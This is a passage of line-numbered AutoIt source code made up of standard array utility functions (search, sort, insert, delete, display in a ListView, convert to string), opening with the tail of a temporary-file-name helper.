  2787.     If StringRight($s_directoryname, 1) <> "\" Then $s_directoryname = $s_directoryname & "\"
  2788.     Local $s_tempname
  2789.     Do
  2790.         $s_tempname = ""
  2791.         While StringLen($s_tempname) < $i_randomlength
  2792.             $s_tempname = $s_tempname & Chr(Random(97, 122, 1))
  2793.         WEnd
  2794.         $s_tempname = $s_directoryname & $s_fileprefix & $s_tempname & $s_fileextension
  2795.     Until NOT FileExists($s_tempname)
  2796.     Return $s_tempname
  2797. EndFunc
  2798.  
  2799. Func _arrayadd(ByRef $avarray, $vvalue)
  2800.     If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  2801.     If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, -1)
  2802.     Local $iubound = UBound($avarray)
  2803.     ReDim $avarray[$iubound + 1]
  2804.     $avarray[$iubound] = $vvalue
  2805.     Return $iubound
  2806. EndFunc
  2807.  
  2808. Func _arraybinarysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0)
  2809.     If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  2810.     If UBound($avarray, 0) <> 1 Then Return SetError(5, 0, -1)
  2811.     Local $iubound = UBound($avarray) - 1
  2812.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  2813.     If $istart < 0 Then $istart = 0
  2814.     If $istart > $iend Then Return SetError(4, 0, -1)
  2815.     Local $imid = Int(($iend + $istart) / 2)
  2816.     If $avarray[$istart] > $vvalue OR $avarray[$iend] < $vvalue Then Return SetError(2, 0, -1)
  2817.     While $istart <= $imid AND $vvalue <> $avarray[$imid]
  2818.         If $vvalue < $avarray[$imid] Then
  2819.             $iend = $imid - 1
  2820.         Else
  2821.             $istart = $imid + 1
  2822.         EndIf
  2823.         $imid = Int(($iend + $istart) / 2)
  2824.     WEnd
  2825.     If $istart > $iend Then Return SetError(3, 0, -1)
  2826.     Return $imid
  2827. EndFunc
  2828.  
  2829. Func _arraycombinations(ByRef $avarray, $iset, $sdelim = "")
  2830.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  2831.     If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
  2832.     Local $in = UBound($avarray)
  2833.     Local $ir = $iset
  2834.     Local $aidx[$ir]
  2835.     For $i = 0 To $ir - 1
  2836.         $aidx[$i] = $i
  2837.     Next
  2838.     Local $itotal = __array_combinations($in, $ir)
  2839.     Local $ileft = $itotal
  2840.     Local $aresult[$itotal + 1]
  2841.     $aresult[0] = $itotal
  2842.     Local $icount = 1
  2843.     While $ileft > 0
  2844.         __array_getnext($in, $ir, $ileft, $itotal, $aidx)
  2845.         For $i = 0 To $iset - 1
  2846.             $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
  2847.         Next
  2848.         If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1)
  2849.         $icount += 1
  2850.     WEnd
  2851.     Return $aresult
  2852. EndFunc
  2853.  
  2854. Func _arrayconcatenate(ByRef $avarraytarget, Const ByRef $avarraysource, $istart = 0)
  2855.     If NOT IsArray($avarraytarget) Then Return SetError(1, 0, 0)
  2856.     If NOT IsArray($avarraysource) Then Return SetError(2, 0, 0)
  2857.     If UBound($avarraytarget, 0) <> 1 Then
  2858.         If UBound($avarraysource, 0) <> 1 Then Return SetError(5, 0, 0)
  2859.         Return SetError(3, 0, 0)
  2860.     EndIf
  2861.     If UBound($avarraysource, 0) <> 1 Then Return SetError(4, 0, 0)
  2862.     Local $iuboundtarget = UBound($avarraytarget) - $istart, $iuboundsource = UBound($avarraysource)
  2863.     ReDim $avarraytarget[$iuboundtarget + $iuboundsource]
  2864.     For $i = $istart To $iuboundsource - 1
  2865.         $avarraytarget[$iuboundtarget + $i] = $avarraysource[$i]
  2866.     Next
  2867.     Return $iuboundtarget + $iuboundsource
  2868. EndFunc
  2869.  
  2870. Func _arraycreate($v_0, $v_1 = 0, $v_2 = 0, $v_3 = 0, $v_4 = 0, $v_5 = 0, $v_6 = 0, $v_7 = 0, $v_8 = 0, $v_9 = 0, $v_10 = 0, $v_11 = 0, $v_12 = 0, $v_13 = 0, $v_14 = 0, $v_15 = 0, $v_16 = 0, $v_17 = 0, $v_18 = 0, $v_19 = 0, $v_20 = 0)
  2871.     Local $av_array[21] = [$v_0, $v_1, $v_2, $v_3, $v_4, $v_5, $v_6, $v_7, $v_8, $v_9, $v_10, $v_11, $v_12, $v_13, $v_14, $v_15, $v_16, $v_17, $v_18, $v_19, $v_20]
  2872.     ReDim $av_array[@NumParams]
  2873.     Return $av_array
  2874. EndFunc
  2875.  
  2876. Func _arraydelete(ByRef $avarray, $ielement)
  2877.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  2878.     Local $iubound = UBound($avarray, 1) - 1
  2879.     If NOT $iubound Then
  2880.         $avarray = ""
  2881.         Return 0
  2882.     EndIf
  2883.     If $ielement < 0 Then $ielement = 0
  2884.     If $ielement > $iubound Then $ielement = $iubound
  2885.     Switch UBound($avarray, 0)
  2886.         Case 1
  2887.             For $i = $ielement To $iubound - 1
  2888.                 $avarray[$i] = $avarray[$i + 1]
  2889.             Next
  2890.             ReDim $avarray[$iubound]
  2891.         Case 2
  2892.             Local $isubmax = UBound($avarray, 2) - 1
  2893.             For $i = $ielement To $iubound - 1
  2894.                 For $j = 0 To $isubmax
  2895.                     $avarray[$i][$j] = $avarray[$i + 1][$j]
  2896.                 Next
  2897.             Next
  2898.             ReDim $avarray[$iubound][$isubmax + 1]
  2899.         Case Else
  2900.             Return SetError(3, 0, 0)
  2901.     EndSwitch
  2902.     Return $iubound
  2903. EndFunc
  2904.  
  2905. Func _arraydisplay(Const ByRef $avarray, $stitle = "Array: ListView Display", $iitemlimit = -1, $itranspose = 0, $sseparator = "", $sreplace = "|", $sheader = "")
  2906.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  2907.     Local $idimension = UBound($avarray, 0), $iubound = UBound($avarray, 1) - 1, $isubmax = UBound($avarray, 2) - 1
  2908.     If $idimension > 2 Then Return SetError(2, 0, 0)
  2909.     If $sseparator = "" Then $sseparator = Chr(124)
  2910.     If _arraysearch($avarray, $sseparator, 0, 0, 0, 1) <> -1 Then
  2911.         For $x = 1 To 255
  2912.             If $x >= 32 AND $x <= 127 Then ContinueLoop
  2913.             Local $sfind = _arraysearch($avarray, Chr($x), 0, 0, 0, 1)
  2914.             If $sfind = -1 Then
  2915.                 $sseparator = Chr($x)
  2916.                 ExitLoop
  2917.             EndIf
  2918.         Next
  2919.     EndIf
  2920.     Local $vtmp, $ibuffer = 64
  2921.     Local $icollimit = 250
  2922.     Local $ioneventmode = Opt("GUIOnEventMode", 0), $sdataseparatorchar = Opt("GUIDataSeparatorChar", $sseparator)
  2923.     If $isubmax < 0 Then $isubmax = 0
  2924.     If $itranspose Then
  2925.         $vtmp = $iubound
  2926.         $iubound = $isubmax
  2927.         $isubmax = $vtmp
  2928.     EndIf
  2929.     If $isubmax > $icollimit Then $isubmax = $icollimit
  2930.     If $iitemlimit < 1 Then $iitemlimit = $iubound
  2931.     If $iubound > $iitemlimit Then $iubound = $iitemlimit
  2932.     If $sheader = "" Then
  2933.         $sheader = "Row  "
  2934.         For $i = 0 To $isubmax
  2935.             $sheader &= $sseparator & "Col " & $i
  2936.         Next
  2937.     EndIf
  2938.     Local $avarraytext[$iubound + 1]
  2939.     For $i = 0 To $iubound
  2940.         $avarraytext[$i] = "[" & $i & "]"
  2941.         For $j = 0 To $isubmax
  2942.             If $idimension = 1 Then
  2943.                 If $itranspose Then
  2944.                     $vtmp = $avarray[$j]
  2945.                 Else
  2946.                     $vtmp = $avarray[$i]
  2947.                 EndIf
  2948.             Else
  2949.                 If $itranspose Then
  2950.                     $vtmp = $avarray[$j][$i]
  2951.                 Else
  2952.                     $vtmp = $avarray[$i][$j]
  2953.                 EndIf
  2954.             EndIf
  2955.             $vtmp = StringReplace($vtmp, $sseparator, $sreplace, 0, 1)
  2956.             $avarraytext[$i] &= $sseparator & $vtmp
  2957.             $vtmp = StringLen($vtmp)
  2958.             If $vtmp > $ibuffer Then $ibuffer = $vtmp
  2959.         Next
  2960.     Next
  2961.     $ibuffer += 1
  2962.     Local Const $_arrayconstant_gui_dockborders = 102
  2963.     Local Const $_arrayconstant_gui_dockbottom = 64
  2964.     Local Const $_arrayconstant_gui_dockheight = 512
  2965.     Local Const $_arrayconstant_gui_dockleft = 2
  2966.     Local Const $_arrayconstant_gui_dockright = 4
  2967.     Local Const $_arrayconstant_gui_event_close = -3
  2968.     Local Const $_arrayconstant_lvif_param = 4
  2969.     Local Const $_arrayconstant_lvif_text = 1
  2970.     Local Const $_arrayconstant_lvm_getcolumnwidth = (4096 + 29)
  2971.     Local Const $_arrayconstant_lvm_getitemcount = (4096 + 4)
  2972.     Local Const $_arrayconstant_lvm_getitemstate = (4096 + 44)
  2973.     Local Const $_arrayconstant_lvm_insertitemw = (4096 + 77)
  2974.     Local Const $_arrayconstant_lvm_setextendedlistviewstyle = (4096 + 54)
  2975.     Local Const $_arrayconstant_lvm_setitemw = (4096 + 76)
  2976.     Local Const $_arrayconstant_lvs_ex_fullrowselect = 32
  2977.     Local Const $_arrayconstant_lvs_ex_gridlines = 1
  2978.     Local Const $_arrayconstant_lvs_showselalways = 8
  2979.     Local Const $_arrayconstant_ws_ex_clientedge = 512
  2980.     Local Const $_arrayconstant_ws_maximizebox = 65536
  2981.     Local Const $_arrayconstant_ws_minimizebox = 131072
  2982.     Local Const $_arrayconstant_ws_sizebox = 262144
  2983.     Local Const $_arrayconstant_taglvitem = "int Mask;int Item;int SubItem;int State;int StateMask;ptr Text;int TextMax;int Image;int Param;int Indent;int GroupID;int Columns;ptr pColumns"
  2984.     Local $iaddmask = BitOR($_arrayconstant_lvif_text, $_arrayconstant_lvif_param)
  2985.     Local $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]"), $pbuffer = DllStructGetPtr($tbuffer)
  2986.     Local $titem = DllStructCreate($_arrayconstant_taglvitem), $pitem = DllStructGetPtr($titem)
  2987.     DllStructSetData($titem, "Param", 0)
  2988.     DllStructSetData($titem, "Text", $pbuffer)
  2989.     DllStructSetData($titem, "TextMax", $ibuffer)
  2990.     Local $iwidth = 640, $iheight = 480
  2991.     Local $hgui = GUICreate($stitle, $iwidth, $iheight, Default, Default, BitOR($_arrayconstant_ws_sizebox, $_arrayconstant_ws_minimizebox, $_arrayconstant_ws_maximizebox))
  2992.     Local $aiguisize = WinGetClientSize($hgui)
  2993.     Local $hlistview = GUICtrlCreateListView($sheader, 0, 0, $aiguisize[0], $aiguisize[1] - 26, $_arrayconstant_lvs_showselalways)
  2994.     Local $hcopy = GUICtrlCreateButton("Copy Selected", 3, $aiguisize[1] - 23, $aiguisize[0] - 6, 20)
  2995.     GUICtrlSetResizing($hlistview, $_arrayconstant_gui_dockborders)
  2996.     GUICtrlSetResizing($hcopy, $_arrayconstant_gui_dockleft + $_arrayconstant_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight)
  2997.     GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_gridlines, $_arrayconstant_lvs_ex_gridlines)
  2998.     GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_fullrowselect, $_arrayconstant_lvs_ex_fullrowselect)
  2999.     GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_ws_ex_clientedge, $_arrayconstant_ws_ex_clientedge)
  3000.     Local $aitem
  3001.     For $i = 0 To $iubound
  3002.         If GUICtrlCreateListViewItem($avarraytext[$i], $hlistview) = 0 Then
  3003.             $aitem = StringSplit($avarraytext[$i], $sseparator)
  3004.             DllStructSetData($tbuffer, "Text", $aitem[1])
  3005.             DllStructSetData($titem, "Item", $i)
  3006.             DllStructSetData($titem, "SubItem", 0)
  3007.             DllStructSetData($titem, "Mask", $iaddmask)
  3008.             GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_insertitemw, 0, $pitem)
  3009.             DllStructSetData($titem, "Mask", $_arrayconstant_lvif_text)
  3010.             For $j = 2 To $aitem[0]
  3011.                 DllStructSetData($tbuffer, "Text", $aitem[$j])
  3012.                 DllStructSetData($titem, "SubItem", $j - 1)
  3013.                 GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setitemw, 0, $pitem)
  3014.             Next
  3015.         EndIf
  3016.     Next
  3017.     $iwidth = 0
  3018.     For $i = 0 To $isubmax + 1
  3019.         $iwidth += GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getcolumnwidth, $i, 0)
  3020.     Next
  3021.     If $iwidth < 250 Then $iwidth = 230
  3022.     $iwidth += 20
  3023.     If $iwidth > @DesktopWidth Then $iwidth = @DesktopWidth - 100
  3024.     WinMove($hgui, "", (@DesktopWidth - $iwidth) / 2, Default, $iwidth)
  3025.     GUISetState(@SW_SHOW, $hgui)
  3026.     While 1
  3027.         Switch GUIGetMsg()
  3028.             Case $_arrayconstant_gui_event_close
  3029.                 ExitLoop
  3030.             Case $hcopy
  3031.                 Local $sclip = ""
  3032.                 Local $aicuritems[1] = [0]
  3033.                 For $i = 0 To GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getitemcount, 0, 0)
  3034.                     If GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getitemstate, $i, 2) Then
  3035.                         $aicuritems[0] += 1
  3036.                         ReDim $aicuritems[$aicuritems[0] + 1]
  3037.                         $aicuritems[$aicuritems[0]] = $i
  3038.                     EndIf
  3039.                 Next
  3040.                 If NOT $aicuritems[0] Then
  3041.                     For $sitem In $avarraytext
  3042.                         $sclip &= $sitem & @CRLF
  3043.                     Next
  3044.                 Else
  3045.                     For $i = 1 To UBound($aicuritems) - 1
  3046.                         $sclip &= $avarraytext[$aicuritems[$i]] & @CRLF
  3047.                     Next
  3048.                 EndIf
  3049.                 ClipPut($sclip)
  3050.         EndSwitch
  3051.     WEnd
  3052.     GUIDelete($hgui)
  3053.     Opt("GUIOnEventMode", $ioneventmode)
  3054.     Opt("GUIDataSeparatorChar", $sdataseparatorchar)
  3055.     Return 1
  3056. EndFunc
  3057.  
  3058. Func _arrayfindall(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $ipartial = 0, $isubitem = 0)
  3059.     $istart = _arraysearch($avarray, $vvalue, $istart, $iend, $icase, $ipartial, 1, $isubitem)
  3060.     If @error Then Return SetError(@error, 0, -1)
  3061.     Local $iindex = 0, $avresult[UBound($avarray)]
  3062.     Do
  3063.         $avresult[$iindex] = $istart
  3064.         $iindex += 1
  3065.         $istart = _arraysearch($avarray, $vvalue, $istart + 1, $iend, $icase, $ipartial, 1, $isubitem)
  3066.     Until @error
  3067.     ReDim $avresult[$iindex]
  3068.     Return $avresult
  3069. EndFunc
  3070.  
  3071. Func _arrayinsert(ByRef $avarray, $ielement, $vvalue = "")
  3072.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  3073.     If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
  3074.     Local $iubound = UBound($avarray) + 1
  3075.     ReDim $avarray[$iubound]
  3076.     For $i = $iubound - 1 To $ielement + 1 Step -1
  3077.         $avarray[$i] = $avarray[$i - 1]
  3078.     Next
  3079.     $avarray[$ielement] = $vvalue
  3080.     Return $iubound
  3081. EndFunc
  3082.  
  3083. Func _arraymax(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
  3084.     Local $iresult = _arraymaxindex($avarray, $icompnumeric, $istart, $iend)
  3085.     If @error Then Return SetError(@error, 0, "")
  3086.     Return $avarray[$iresult]
  3087. EndFunc
  3088.  
  3089. Func _arraymaxindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
  3090.     If NOT IsArray($avarray) OR UBound($avarray, 0) <> 1 Then Return SetError(1, 0, -1)
  3091.     If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1)
  3092.     Local $iubound = UBound($avarray) - 1
  3093.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  3094.     If $istart < 0 Then $istart = 0
  3095.     If $istart > $iend Then Return SetError(2, 0, -1)
  3096.     Local $imaxindex = $istart
  3097.     If $icompnumeric Then
  3098.         For $i = $istart To $iend
  3099.             If Number($avarray[$imaxindex]) < Number($avarray[$i]) Then $imaxindex = $i
  3100.         Next
  3101.     Else
  3102.         For $i = $istart To $iend
  3103.             If $avarray[$imaxindex] < $avarray[$i] Then $imaxindex = $i
  3104.         Next
  3105.     EndIf
  3106.     Return $imaxindex
  3107. EndFunc
  3108.  
  3109. Func _arraymin(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
  3110.     Local $iresult = _arrayminindex($avarray, $icompnumeric, $istart, $iend)
  3111.     If @error Then Return SetError(@error, 0, "")
  3112.     Return $avarray[$iresult]
  3113. EndFunc
  3114.  
  3115. Func _arrayminindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
  3116.     If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  3117.     If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1)
  3118.     Local $iubound = UBound($avarray) - 1
  3119.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  3120.     If $istart < 0 Then $istart = 0
  3121.     If $istart > $iend Then Return SetError(2, 0, -1)
  3122.     Local $iminindex = $istart
  3123.     If $icompnumeric Then
  3124.         For $i = $istart To $iend
  3125.             If Number($avarray[$iminindex]) > Number($avarray[$i]) Then $iminindex = $i
  3126.         Next
  3127.     Else
  3128.         For $i = $istart To $iend
  3129.             If $avarray[$iminindex] > $avarray[$i] Then $iminindex = $i
  3130.         Next
  3131.     EndIf
  3132.     Return $iminindex
  3133. EndFunc
  3134.  
  3135. Func _arraypermute(ByRef $avarray, $sdelim = "")
  3136.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  3137.     If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
  3138.     Local $isize = UBound($avarray), $ifactorial = 1, $aidx[$isize], $aresult[1], $icount = 1
  3139.     For $i = 0 To $isize - 1
  3140.         $aidx[$i] = $i
  3141.     Next
  3142.     For $i = $isize To 1 Step -1
  3143.         $ifactorial *= $i
  3144.     Next
  3145.     ReDim $aresult[$ifactorial + 1]
  3146.     $aresult[0] = $ifactorial
  3147.     __array_exeterinternal($avarray, 0, $isize, $sdelim, $aidx, $aresult, $icount)
  3148.     Return $aresult
  3149. EndFunc
  3150.  
  3151. Func _arraypop(ByRef $avarray)
  3152.     If (NOT IsArray($avarray)) Then Return SetError(1, 0, "")
  3153.     If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, "")
  3154.     Local $iubound = UBound($avarray) - 1, $slastval = $avarray[$iubound]
  3155.     If NOT $iubound Then
  3156.         $avarray = ""
  3157.     Else
  3158.         ReDim $avarray[$iubound]
  3159.     EndIf
  3160.     Return $slastval
  3161. EndFunc
  3162.  
  3163. Func _arraypush(ByRef $avarray, $vvalue, $idirection = 0)
  3164.     If (NOT IsArray($avarray)) Then Return SetError(1, 0, 0)
  3165.     If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0)
  3166.     Local $iubound = UBound($avarray) - 1
  3167.     If IsArray($vvalue) Then
  3168.         Local $iubounds = UBound($vvalue)
  3169.         If ($iubounds - 1) > $iubound Then Return SetError(2, 0, 0)
  3170.         If $idirection Then
  3171.             For $i = $iubound To $iubounds Step -1
  3172.                 $avarray[$i] = $avarray[$i - $iubounds]
  3173.             Next
  3174.             For $i = 0 To $iubounds - 1
  3175.                 $avarray[$i] = $vvalue[$i]
  3176.             Next
  3177.         Else
  3178.             For $i = 0 To $iubound - $iubounds
  3179.                 $avarray[$i] = $avarray[$i + $iubounds]
  3180.             Next
  3181.             For $i = 0 To $iubounds - 1
  3182.                 $avarray[$i + $iubound - $iubounds + 1] = $vvalue[$i]
  3183.             Next
  3184.         EndIf
  3185.     Else
  3186.         If $idirection Then
  3187.             For $i = $iubound To 1 Step -1
  3188.                 $avarray[$i] = $avarray[$i - 1]
  3189.             Next
  3190.             $avarray[0] = $vvalue
  3191.         Else
  3192.             For $i = 0 To $iubound - 1
  3193.                 $avarray[$i] = $avarray[$i + 1]
  3194.             Next
  3195.             $avarray[$iubound] = $vvalue
  3196.         EndIf
  3197.     EndIf
  3198.     Return 1
  3199. EndFunc
  3200.  
  3201. Func _arrayreverse(ByRef $avarray, $istart = 0, $iend = 0)
  3202.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  3203.     If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0)
  3204.     Local $vtmp, $iubound = UBound($avarray) - 1
  3205.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  3206.     If $istart < 0 Then $istart = 0
  3207.     If $istart > $iend Then Return SetError(2, 0, 0)
  3208.     For $i = $istart To Int(($istart + $iend - 1) / 2)
  3209.         $vtmp = $avarray[$i]
  3210.         $avarray[$i] = $avarray[$iend]
  3211.         $avarray[$iend] = $vtmp
  3212.         $iend -= 1
  3213.     Next
  3214.     Return 1
  3215. EndFunc
  3216.  
  3217. Func _arraysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $ipartial = 0, $iforward = 1, $isubitem = -1)
  3218.     If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  3219.     If UBound($avarray, 0) > 2 OR UBound($avarray, 0) < 1 Then Return SetError(2, 0, -1)
  3220.     Local $iubound = UBound($avarray) - 1
  3221.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  3222.     If $istart < 0 Then $istart = 0
  3223.     If $istart > $iend Then Return SetError(4, 0, -1)
  3224.     Local $istep = 1
  3225.     If NOT $iforward Then
  3226.         Local $itmp = $istart
  3227.         $istart = $iend
  3228.         $iend = $itmp
  3229.         $istep = -1
  3230.     EndIf
  3231.     Switch UBound($avarray, 0)
  3232.         Case 1
  3233.             If NOT $ipartial Then
  3234.                 If NOT $icase Then
  3235.                     For $i = $istart To $iend Step $istep
  3236.                         If $avarray[$i] = $vvalue Then Return $i
  3237.                     Next
  3238.                 Else
  3239.                     For $i = $istart To $iend Step $istep
  3240.                         If $avarray[$i] == $vvalue Then Return $i
  3241.                     Next
  3242.                 EndIf
  3243.             Else
  3244.                 For $i = $istart To $iend Step $istep
  3245.                     If StringInStr($avarray[$i], $vvalue, $icase) > 0 Then Return $i
  3246.                 Next
  3247.             EndIf
  3248.         Case 2
  3249.             Local $iuboundsub = UBound($avarray, 2) - 1
  3250.             If $isubitem > $iuboundsub Then $isubitem = $iuboundsub
  3251.             If $isubitem < 0 Then
  3252.                 $isubitem = 0
  3253.             Else
  3254.                 $iuboundsub = $isubitem
  3255.             EndIf
  3256.             For $j = $isubitem To $iuboundsub
  3257.                 If NOT $ipartial Then
  3258.                     If NOT $icase Then
  3259.                         For $i = $istart To $iend Step $istep
  3260.                             If $avarray[$i][$j] = $vvalue Then Return $i
  3261.                         Next
  3262.                     Else
  3263.                         For $i = $istart To $iend Step $istep
  3264.                             If $avarray[$i][$j] == $vvalue Then Return $i
  3265.                         Next
  3266.                     EndIf
  3267.                 Else
  3268.                     For $i = $istart To $iend Step $istep
  3269.                         If StringInStr($avarray[$i][$j], $vvalue, $icase) > 0 Then Return $i
  3270.                     Next
  3271.                 EndIf
  3272.             Next
  3273.         Case Else
  3274.             Return SetError(7, 0, -1)
  3275.     EndSwitch
  3276.     Return SetError(6, 0, -1)
  3277. EndFunc
  3278.  
  3279. Func _arraysort(ByRef $avarray, $idescending = 0, $istart = 0, $iend = 0, $isubitem = 0)
  3280.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  3281.     Local $iubound = UBound($avarray) - 1
  3282.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  3283.     If $istart < 0 Then $istart = 0
  3284.     If $istart > $iend Then Return SetError(2, 0, 0)
  3285.     Switch UBound($avarray, 0)
  3286.         Case 1
  3287.             __arrayquicksort1d($avarray, $istart, $iend)
  3288.             If $idescending Then _arrayreverse($avarray, $istart, $iend)
  3289.         Case 2
  3290.             Local $isubmax = UBound($avarray, 2) - 1
  3291.             If $isubitem > $isubmax Then Return SetError(3, 0, 0)
  3292.             If $idescending Then
  3293.                 $idescending = -1
  3294.             Else
  3295.                 $idescending = 1
  3296.             EndIf
  3297.             __arrayquicksort2d($avarray, $idescending, $istart, $iend, $isubitem, $isubmax)
  3298.         Case Else
  3299.             Return SetError(4, 0, 0)
  3300.     EndSwitch
  3301.     Return 1
  3302. EndFunc
  3303.  
  3304. Func __arrayquicksort1d(ByRef $avarray, ByRef $istart, ByRef $iend)
  3305.     If $iend <= $istart Then Return
  3306.     Local $vtmp
  3307.     If ($iend - $istart) < 15 Then
  3308.         Local $vcur
  3309.         For $i = $istart + 1 To $iend
  3310.             $vtmp = $avarray[$i]
  3311.             If IsNumber($vtmp) Then
  3312.                 For $j = $i - 1 To $istart Step -1
  3313.                     $vcur = $avarray[$j]
  3314.                     If ($vtmp >= $vcur AND IsNumber($vcur)) OR (NOT IsNumber($vcur) AND StringCompare($vtmp, $vcur) >= 0) Then ExitLoop
  3315.                     $avarray[$j + 1] = $vcur
  3316.                 Next
  3317.             Else
  3318.                 For $j = $i - 1 To $istart Step -1
  3319.                     If (StringCompare($vtmp, $avarray[$j]) >= 0) Then ExitLoop
  3320.                     $avarray[$j + 1] = $avarray[$j]
  3321.                 Next
  3322.             EndIf
  3323.             $avarray[$j + 1] = $vtmp
  3324.         Next
  3325.         Return
  3326.     EndIf
  3327.     Local $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)], $fnum = IsNumber($vpivot)
  3328.     Do
  3329.         If $fnum Then
  3330.             While ($avarray[$l] < $vpivot AND IsNumber($avarray[$l])) OR (NOT IsNumber($avarray[$l]) AND StringCompare($avarray[$l], $vpivot) < 0)
  3331.                 $l += 1
  3332.             WEnd
  3333.             While ($avarray[$r] > $vpivot AND IsNumber($avarray[$r])) OR (NOT IsNumber($avarray[$r]) AND StringCompare($avarray[$r], $vpivot) > 0)
  3334.                 $r -= 1
  3335.             WEnd
  3336.         Else
  3337.             While (StringCompare($avarray[$l], $vpivot) < 0)
  3338.                 $l += 1
  3339.             WEnd
  3340.             While (StringCompare($avarray[$r], $vpivot) > 0)
  3341.                 $r -= 1
  3342.             WEnd
  3343.         EndIf
  3344.         If $l <= $r Then
  3345.             $vtmp = $avarray[$l]
  3346.             $avarray[$l] = $avarray[$r]
  3347.             $avarray[$r] = $vtmp
  3348.             $l += 1
  3349.             $r -= 1
  3350.         EndIf
  3351.     Until $l > $r
  3352.     __arrayquicksort1d($avarray, $istart, $r)
  3353.     __arrayquicksort1d($avarray, $l, $iend)
  3354. EndFunc
  3355.  
  3356. Func __arrayquicksort2d(ByRef $avarray, ByRef $istep, ByRef $istart, ByRef $iend, ByRef $isubitem, ByRef $isubmax)
  3357.     If $iend <= $istart Then Return
  3358.     Local $vtmp, $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)][$isubitem], $fnum = IsNumber($vpivot)
  3359.     Do
  3360.         If $fnum Then
  3361.             While ($istep * ($avarray[$l][$isubitem] - $vpivot) < 0 AND IsNumber($avarray[$l][$isubitem])) OR (NOT IsNumber($avarray[$l][$isubitem]) AND $istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0)
  3362.                 $l += 1
  3363.             WEnd
  3364.             While ($istep * ($avarray[$r][$isubitem] - $vpivot) > 0 AND IsNumber($avarray[$r][$isubitem])) OR (NOT IsNumber($avarray[$r][$isubitem]) AND $istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0)
  3365.                 $r -= 1
  3366.             WEnd
  3367.         Else
  3368.             While ($istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0)
  3369.                 $l += 1
  3370.             WEnd
  3371.             While ($istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0)
  3372.                 $r -= 1
  3373.             WEnd
  3374.         EndIf
  3375.         If $l <= $r Then
  3376.             For $i = 0 To $isubmax
  3377.                 $vtmp = $avarray[$l][$i]
  3378.                 $avarray[$l][$i] = $avarray[$r][$i]
  3379.                 $avarray[$r][$i] = $vtmp
  3380.             Next
  3381.             $l += 1
  3382.             $r -= 1
  3383.         EndIf
  3384.     Until $l > $r
  3385.     __arrayquicksort2d($avarray, $istep, $istart, $r, $isubitem, $isubmax)
  3386.     __arrayquicksort2d($avarray, $istep, $l, $iend, $isubitem, $isubmax)
  3387. EndFunc
  3388.  
  3389. Func _arrayswap(ByRef $vitem1, ByRef $vitem2)
  3390.     Local $vtmp = $vitem1
  3391.     $vitem1 = $vitem2
  3392.     $vitem2 = $vtmp
  3393. EndFunc
  3394.  
  3395. Func _arraytoclip(Const ByRef $avarray, $istart = 0, $iend = 0)
  3396.     Local $sresult = _arraytostring($avarray, @CR, $istart, $iend)
  3397.     If @error Then Return SetError(@error, 0, 0)
  3398.     Return ClipPut($sresult)
  3399. EndFunc
  3400.  
  3401. Func _arraytostring(Const ByRef $avarray, $sdelim = "|", $istart = 0, $iend = 0)
  3402.     If NOT IsArray($avarray) Then Return SetError(1, 0, "")
  3403.     If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, "")
  3404.     Local $sresult, $iubound = UBound($avarray) - 1
  3405.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  3406.     If $istart < 0 Then $istart = 0
  3407.     If $istart > $iend Then Return SetError(2, 0, "")
  3408.     For $i = $istart To $iend
  3409.         $sresult &= $avarray[$i] & $sdelim
  3410.     Next
  3411.     Return StringTrimRight($sresult, StringLen($sdelim))
  3412. EndFunc
  3413.  
